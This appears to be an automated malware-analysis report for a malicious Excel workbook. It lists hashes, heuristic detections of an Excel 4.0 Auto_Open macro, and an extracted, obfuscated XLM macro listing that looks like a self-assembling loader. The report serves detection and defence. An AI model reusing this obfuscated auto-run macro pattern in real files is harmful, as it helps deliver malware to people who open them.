Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec04fa74a81f4bb0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:59 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 80c6c0c9a8e1addcab7bf40c341be4a5 SHA-1: 881745186d6c383eddc34716ac180e754dfad718 SHA-256: ec04fa74a81f4bb02a506faf9db683a9c427fbbc8ae39896604cfa5a50ca3287
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6548 bytes
SHA-256: 2f08694e55f437b2f458748e20b35c4071fe0f5e919d92069ed017ac1817746b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EXuaIQd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A163 
' 0018     25 LABEL : Cell Value, String Constant - CjjpJKhpEE len=0 
' 0018     21 LABEL : Cell Value, String Constant - dNalLY len=0 
' 0018     27 LABEL : Cell Value, String Constant - fcaaLrVyWSbn len=0 
' 0018     21 LABEL : Cell Value, String Constant - gvEgUm len=0 
' 0018     22 LABEL : Cell Value, String Constant - ifzgVfy len=0 
' 0018     26 LABEL : Cell Value, String Constant - ikqjnGoDfmK len=0 
' 0018     20 LABEL : Cell Value, String Constant - JrqLz len=0 
' 0018     25 LABEL : Cell Value, String Constant - lHsgudCeub len=0 
' 0018     22 LABEL : Cell Value, String Constant - nmKjevr len=0 
' 0018     21 LABEL : Cell Value, String Constant - oMvLqF len=0 
' 0018     27 LABEL : Cell Value, String Constant - SWkBHTwMDpgu len=0 
' 0018     20 LABEL : Cell Value, String Constant - ueeOZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - ugXnzyCG len=0 
' 0018     26 LABEL : Cell Value, String Constant - UtfCSPVsmCZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - WqnkKptIig len=0 
' 0018     22 LABEL : Cell Value, String Constant - wSWLPxe len=0 
' 0018     25 LABEL : Cell Value, String Constant - wwEoAPLBbw len=0 
' 0018     26 LABEL : Cell Value, String Constant - xDPDHAqztEi len=0 
' 0018     20 LABEL : Cell Value, String Constant - yORyj len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZHLqz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EXuaIQd,A73,"SET.NAME("dNalLY",VALUE("0"))",""
'  EXuaIQd,A76,"SET.NAME("fcaaLrVyWSbn",dNalLY)",""
'  EXuaIQd,A78,"SET.NAME("ugXnzyCG",dNalLY)",""
'  EXuaIQd,A80,"SET.NAME("JrqLz",COUNTA(ZHLqz))",""
'  EXuaIQd,A84,"SET.NAME("WqnkKptIig",COUNTA(nmKjevr))",""
'  EXuaIQd,A89,[],""
'  EXuaIQd,A91,"SET.NAME("wwEoAPLBbw","")",""
'  EXuaIQd,A94,"fcaaLrVyWSbn",""
'  EXuaIQd,A98,"SET.NAME("ueeOZ",HLOOKUP("*",ZHLqz,fcaaLrVyWSbn,FALSE))",""
'  EXuaIQd,A103,"wSWLPxe",""
'  EXuaIQd,A106,"SET.NAME("UtfCSPVsmCZ",dNalLY)",""
'  EXuaIQd,A108,[],""
'  EXuaIQd,A111,"UtfCSPVsmCZ",""
'  EXuaIQd,A114,"ikqjnGoDfmK",""
'  EXuaIQd,A118,"xDPDHAqztEi",""
'  EXuaIQd,A120,"oMvLqF",""
'  EXuaIQd,A122,"SET.NAME("yORyj",VALUE(HLOOKUP("*",nmKjevr,oMvLqF,FALSE)))",""
'  EXuaIQd,A125,"SWkBHTwMDpgu",""
'  EXuaIQd,A129,"wwEoAPLBbw",""
'  EXuaIQd,A134,"ugXnzyCG",""
'  EXuaIQd,A137,NEXT(),""
'  EXuaIQd,A141,"lHsgudCeub",""
'  EXuaIQd,A144,"SET.NAME("f",INT(T(FORMULA(T(wwEoAPLBbw)&"",""&T(lHsgudCeub)))))",""
'  EXuaIQd,A148,"ifzgVfy",""
'  EXuaIQd,A153,NEXT(),""
'  EXuaIQd,A158,RETURN(),""
'  EXuaIQd,A184,"SET.NAME("CjjpJKhpEE",A73)",""
'  EXuaIQd,A186,"ZHLqz",""
'  EXuaIQd,A189,"SET.NAME("nmKjevr",R89C14)",""
'  EXuaIQd,A191,"SET.NAME("ifzgVfy",199)",""
'  EXuaIQd,A194,"SET.NAME("gvEgUm",1)",""
'  EXuaIQd,A198,CjjpJKhpEE(),""
'  EXuaIQd,A199,HALT(),""